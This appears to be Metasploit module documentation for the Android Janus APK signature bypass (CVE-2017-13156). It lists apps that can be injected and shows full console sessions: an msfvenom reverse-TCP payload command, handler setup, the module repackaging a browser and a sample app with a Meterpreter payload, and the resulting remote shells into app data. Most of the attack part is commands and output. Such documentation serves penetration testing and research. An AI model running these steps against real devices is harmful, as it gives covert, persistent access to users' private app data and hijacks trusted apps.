## Description

This module exploits CVE-2017-13156 in Android to install a payload into another
application. The payload APK will have the same signature and can be installed
as an update, preserving the existing data.
The vulnerability was fixed in the 5th December 2017 security patch, and was
additionally fixed by the APK Signature scheme v2, so only APKs signed with
the v1 scheme are vulnerable.

This module will potentially give two things, the first is access to the private
date for the app which was injected in to.  The second is a more stealthy persistence
mechanism since the payload will start each time the injected app starts.

Some devices when installing the updated apk file give an error "There was a problem parsing the package."

## Confirmed Vulnerable Apps

The following table shows known vulnerable apps either pre-installed on a phone or available to download.

| Package                                               | Version                  | From Phone                               | MD5 |
|-------------------------------------------------------|--------------------------|------------------------------------------|-----|
| com.google.android.googlequicksearchbox               |                          | Stock ZTE Z798BL Android 6.0.1 tracphone | 854378571509c9aa7a49f84d3f2c11c8 |
| com.ume.browser.northamerica (Browser)                | v3.42.21161215           | Stock ZTE Z798BL Android 6.0.1 tracphone | 726a13647fb6afb9c147b540641eb82a |
| [com.phonegap.camerasample](https://github.com/heavysixer/phonegap-camera-sample/blob/master/bin/CameraSample.apk) | 1.0 | | 00411ebec8e7ab3fc0292070cba5efbd |
| com.android.vending (Google play store)               | 6.9.21.G-all [0] 3270725 | Stock ZTE Z798BL Android 6.0.1 tracphone | bed81c338f61c6095265592ee6fbb6d8 |
| com.apptap.appfinder.tracfone                         | 1.7.5.0                  | Stock ZTE Z798BL Android 6.0.1 tracphone | c20da001a44cd30cc09c1460ca84f743 |
| com.tracfone.generic.downloaderapp                    | R3.1.2                   | Stock ZTE Z798BL Android 6.0.1 tracphone | 448d39f6e5b2370d5b14f24c0d2dd79b |
| com.google.android.tts (must enable TalkBack feature) | 3.10.10                  | Stock ZTE Z798BL Android 6.0.1 tracphone | c44485e17a9a5987e9e3d09507b2bfda |
| com.google.android.videos                             | 3.19.11                  | Stock ZTE Z798BL Android 6.0.1 tracphone | e95baeda7fabc3173289be7274fa350f |

## Hostile Apps

This table shows apps which seemed to work (injected, installed without error) but had adverse effects.  These apps
should typically be avoided unless tested.

| Package                                 | Version               | From Phone                               | MD5 | Issue              |
|-----------------------------------------|-----------------------|------------------------------------------|-----|--------------------|
| com.google.android.youtube              | 11.38.54              | Stock ZTE Z798BL Android 6.0.1 tracphone | 8152ea89b99da5fe66880607a8f93d96 | App crash on start |
| com.android.launcher3                   |                       | Stock ZTE Z798BL Android 6.0.1 tracphone | 45139b7bf9cc328dcd1f0a3f01f87eb6 | Seems to be the GUI for the phone.  When GUI restarted, no session. |
| com.instagram.android                   | stub                  | Stock ZTE Z798BL Android 6.0.1 tracphone | 6e8543dec479508f4952ece014218597 | No session         |
| com.google.android.music                | 6.14.3420-0.G.3279860 | Stock ZTE Z798BL Android 6.0.1 tracphone | 09a49fea442c88b23a8f3752caff33de | App crash on start |
| com.google.android.apps.docs            |                       | Stock ZTE Z798BL Android 6.0.1 tracphone | b0e96f36b7bdfa7ca3064c71538c1339 | App loop, no start |
| com.google.android.apps.maps            | 9.38.1                | Stock ZTE Z798BL Android 6.0.1 tracphone | 91d0f8f24ce451deb31cf9f4b9a1d3c6 | App crash on start |
| com.android.chrome                      | 53.0.2785.124         | Stock ZTE Z798BL Android 6.0.1 tracphone | ac6bbbd5ea559dbb63c42eb7e863286b | Original session dies on upload |
| com.google.android.gms                  |                       | Stock ZTE Z798BL Android 6.0.1 tracphone | 504de5427ec47fa3e124c7b5e3413c50 | Original session dies on upload |


## Vulnerable Application

This module will only work on applications that are signed with only the v1 signature scheme. You can verify which signing scheme an APK is signed with using the `apksigner` tool in the Android SDK:

```
$ apksigner verify -verbose notvulnerable.apk
Verifies
Verified using v1 scheme (JAR signing): true
Verified using v2 scheme (APK Signature Scheme v2): true
Number of signers: 1

$ apksigner verify -verbose vulnerableapplication.apk
Verifies
Verified using v1 scheme (JAR signing): true
Verified using v2 scheme (APK Signature Scheme v2): false
Number of signers: 1
```

## Verification Steps

  1. Start `msfconsole`
  2. Get a session
  4. Start a handler with `exploit/multi/handlers`
  5. Do: `use exploit/android/local/janus`
  6. Do: `set session [session]`
  7. Do: `check`
  8. Do: `run`
  9. On the phone, a new screen will ask about installing the updated app, say yes/ok, then open the app.
  10. You should get a new session.

## Options

### PACKAGE

  Select a package to infect.  A list of packages can be obtained by running `app_list` on meterpreter.  Using `ALL` will
  loop through all packages and attempt to exploit them until successful.  This can take a while, and cause lots of data to be
  transferred.  Default is `com.phonegap.camerasample`

## Scenarios

### com.phonegap.camerasample on Nexus 6p with November 2016 Security Patch

Install [com.phonegap.camerasample](https://github.com/heavysixer/phonegap-camera-sample/blob/master/bin/CameraSample.apk)

An `exploit/multi/handler` was started prior to exploitation.

```
msf exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                        Information         Connection
  --  ----  ----                        -----------         ----------
  1         meterpreter dalvik/android  u0_a80 @ localhost  192.168.0.176:4444 -> 192.168.0.107:46059 (192.168.0.107)

msf exploit(multi/handler) > use exploit/android/local/janus
msf exploit(android/local/janus) > set PACKAGE com.phonegap.camerasample
PACKAGE => com.phonegap.camerasample
msf exploit(android/local/janus) > set SESSION 1
SESSION => 1
msf exploit(android/local/janus) > set LHOST 192.168.0.176
LHOST => 192.168.0.176
msf exploit(android/local/janus) > set LPORT 4445
LPORT => 4445
msf exploit(android/local/janus) > run

[*] Downloading APK: /data/app/com.phonegap.camerasample-1/base.apk
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.phonegap.camerasample.syerq
[*] Loading /tmp/d20190824-7164-qydvgj/original/smali/com/phonegap/camerasample/CameraSampleActivity.smali and injecting payload..
[*] Rebuilding apk with meterpreter injection as /tmp/d20190824-7164-qydvgj/output.apk
[*] Uploading APK: /sdcard/app.apk
[*] APK uploaded
msf exploit(android/local/janus) >
```
Please note that the user will need to manually accept the install prompt on the device (and also open the application) before a new session is opened.

```
[*] Sending stage (72609 bytes) to 192.168.0.107
[*] Meterpreter session 2 opened (192.168.0.176:4445 -> 192.168.0.107:49710) at 2018-10-01 17:44:50 +0800

msf exploit(android/local/janus) > sessions 2
[*] Starting interaction with 2...

meterpreter > pwd
/data/user/0/com.phonegap.camerasample/files

```

### Browser (com.ume.browser.northamerica) on ZTE Z798BL Android 6.0.1 with December 2016 Security Patch

Original payload was generated as such:

```
./msfvenom -p android/meterpreter_reverse_tcp LHOST=1.1.1.1 LPORT=9999 -o /var/www/html/android.apk
```

```
resource (janus.rb)> use exploit/multi/handler
resource (janus.rb)> set payload android/meterpreter_reverse_tcp
payload => android/meterpreter_reverse_tcp
resource (janus.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (janus.rb)> set lport 9999
lport => 9999
resource (janus.rb)> run
[*] Started reverse TCP handler on 1.1.1.1:9999 
[*] Meterpreter session 1 opened (1.1.1.1:9999 -> 2.2.2.2:43753) at 2019-11-05 20:08:53 -0500
WARNING: Local file /root/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used

meterpreter > getuid
Server username: u0_a89
meterpreter > pwd
/data/user/0/com.metasploit.stage/files
meterpreter > sysinfo
Computer    : localhost
OS          : Android 6.0.1 - Linux 3.10.49-gc5a5f6b-00560-gb1fe534 (armv7l)
Meterpreter : dalvik/android
meterpreter > background
[*] Backgrounding session 1...
```

Start the payload handler to catch the new callback

```
resource (janus.rb)> set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
resource (janus.rb)> set lport 4444
lport => 4444
resource (janus.rb)> run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
```

Exploit

```
resource (janus.rb)> use janus

[*] Started reverse TCP handler on 1.1.1.1:4444 

Matching Modules
================

   #  Name                         Disclosure Date  Rank    Check  Description
   -  ----                         ---------------  ----    -----  -----------
   0  exploit/android/local/janus  2017-07-31       manual  Yes    Android Janus APK Signature bypass


[*] Using exploit/android/local/janus
resource (janus.rb)> set session 1
session => 1
resource (janus.rb)> set package com.ume.browser.northamerica
package => com.ume.browser.northamerica
resource (janus.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (janus.rb)> set lport 4444
lport => 4444
resource (janus.rb)> set verbose true
verbose => true
resource (janus.rb)> run
[+] Android version 6.0.1 appears to be vulnerable.
[+] Android security patch level 2016-12-01 is vulnerable
[*] Downloading APK: /system/priv-app/UmeBrowser/UmeBrowser.apk
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.ume.browser.northamerica.onhad
[*] Loading /tmp/d20191105-15343-1heobn1/original/smali/com/ume/browser/UmeApplication.smali and injecting payload..
[*] Rebuilding apk with meterpreter injection as /tmp/d20191105-15343-1heobn1/output.apk
[*] Uploading APK: /sdcard/app.apk
[*] APK uploaded
[*] User should now have a prompt to install an updated version of the app
msf exploit(android/local/janus) >
```

Install the app on the phone.  For this app, clicking Open was not required, the shell was immediate.

![phone 1](https://user-images.githubusercontent.com/752491/68260086-d404a000-0009-11ea-96bc-aa3700570326.png)
![phone 2](https://user-images.githubusercontent.com/752491/68260085-d404a000-0009-11ea-9a10-b4da9c322996.png)
![phone 3](https://user-images.githubusercontent.com/752491/68260084-d404a000-0009-11ea-8256-92803b5d2ec8.png)

```
WARNING: Local file /root/metasploit-framework/data/android/metstage.jar is being used
WARNING: Local file /root/metasploit-framework/data/android/meterpreter.jar is being used

[*] Sending stage (73445 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:38676) at 2019-11-05 20:12:38 -0500

[-] Unknown command: (installing.
msf exploit(android/local/janus) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: u0_a34
meterpreter > pwd
/data/user/0/com.ume.browser.northamerica/files
```
